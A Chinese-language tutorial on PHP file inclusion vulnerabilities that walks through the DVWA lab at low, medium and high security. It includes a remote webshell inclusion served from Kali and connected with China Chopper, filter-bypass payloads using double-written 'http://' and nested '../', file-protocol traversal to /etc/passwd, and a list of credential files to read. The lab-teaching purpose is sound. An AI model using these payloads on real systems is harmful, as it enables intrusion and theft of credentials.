一、文件包含漏洞形成原因
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞的分类
远程文件包含(RFI,Remote File Inclusion): 当 Web 应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以 HTTP 或 FTP URI 的形式获取,作为Web 应用程序的用户提供的参数。
本地文件包含(LFI,Local File Inclusion):本地文件包含类似于远程文件包含,本地文件包含仅能包括本地文件,即当前服务器上的文件以供执行。
文件包含漏洞用到的函数:
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
三、PHP包含日志文件
拦截后修改:
查看日志文件已记录此条信息
浏览器中运行此日志文件,即可执行插入的PHP代码。
注意:若已经上传了一句话代码的文件,就可以通过浏览器解析了。
常见日志文件位置:
四、DVWA靶场文件包含漏洞(File Inclusion)
选择“File Inclusion”漏洞后出现错误提示:The PHP function allow_url_include is not enabled.
解决方法:到php.ini文件中将allow_url_include=off,修改为on
选择到当前使用的PHP版本就能打开其php.ini文件。
查找:allow_url_include
修改为allow_url_include=on
1.等级low
点一下file1路径就变成了:http://192.168.182.130/vulnerabilities/fi/?page=file1.php
点击file2,file3,发现变化的就是page(页)这个参数
发现他直接传一个page这个参数没有做任何的过滤,这里就大概猜测可能出现问题。喂什么吃什么,能不出毛病嘛。
查看源代码分析:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
如1:给百度地址,直接进入百度
如2:给本地文件地址,直接显示此文件内容
如3:给远程一句话木马地址,可用中国菜刀连接木马
第一步:在kali中编写一句话木马文件,aa.php
第二步:在aa.php路径下打开终端程序,执行:python3 -m http.server 80命令起http服务
第三步:给远程服务器Kali中木马地址
第四步:中国菜刀连接木马
2.等级Medium
查看源代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
源码增加了str_replace函数,对page参数做了处理。
str_replace()
函数对关键字http://、https:// 、../ 、..\执行了过滤操作,只要用户传递给page变量的文件名中出现上述四个关键字,皆以空代替。 这样,Web应用程序保证了用户既无法使用http://、http:\\来利用远程文件包含漏洞,也无法使用../ 、..\来利用本地文件包含漏洞。
我们使用双写绕过替换规则
例如page=hthttp://tp://192.168.xx.xxx/phpinfo.php时,str_replace函数会将http://删除,于是page=http://192.168.xx.xxx/phpinfo.php,成功执行远程命令。
我们在../中多嵌套一个../经行绕过
..././..././phpinfo.php ==>> ../../phpinfo.php
如:
3. 等级High
查看源代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串。 语法为:fnmatch(pattern,string,flags) 各个参数解释如下:
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或文件。
flags 可选。 如果用户输入的文件名不是include.php或者以file开头的文件名,那么Web应用程序直接退出。 所以high安全等级是medium安全等级的扩展,在medium安全等级的基础上,进一步加强了文件包含漏洞的防御。 对high安全等级而言,在medium安全等级的文件包含漏洞利用失败的技术皆无法在high安全等级下成功执行。
file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。
所以我们可以利用file协议来帮我们包含文件:
在linux服务器上,我们可以构建pyload为
http://192.168.10.3/vulnerabilities/fi/?page=file:etc/passwd
在windows服务器下我们可以利用file协议绕过防护策略(file:///),构建pyload为
http://192.168.10.5/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\aa.php
也可以构建成这样的pyload,先定位到file1.php的位置然后往前推找到敏感文件
http://192.168.10.3/vulnerabilities/fi/?page=file1.php../../../../../../../../../../../../etc/passwd
附录:
PHP支持的协议和封装协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
文件包含参考的读取pyload(区分linux和windows)
Windows系统 包含可以读取的文件
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件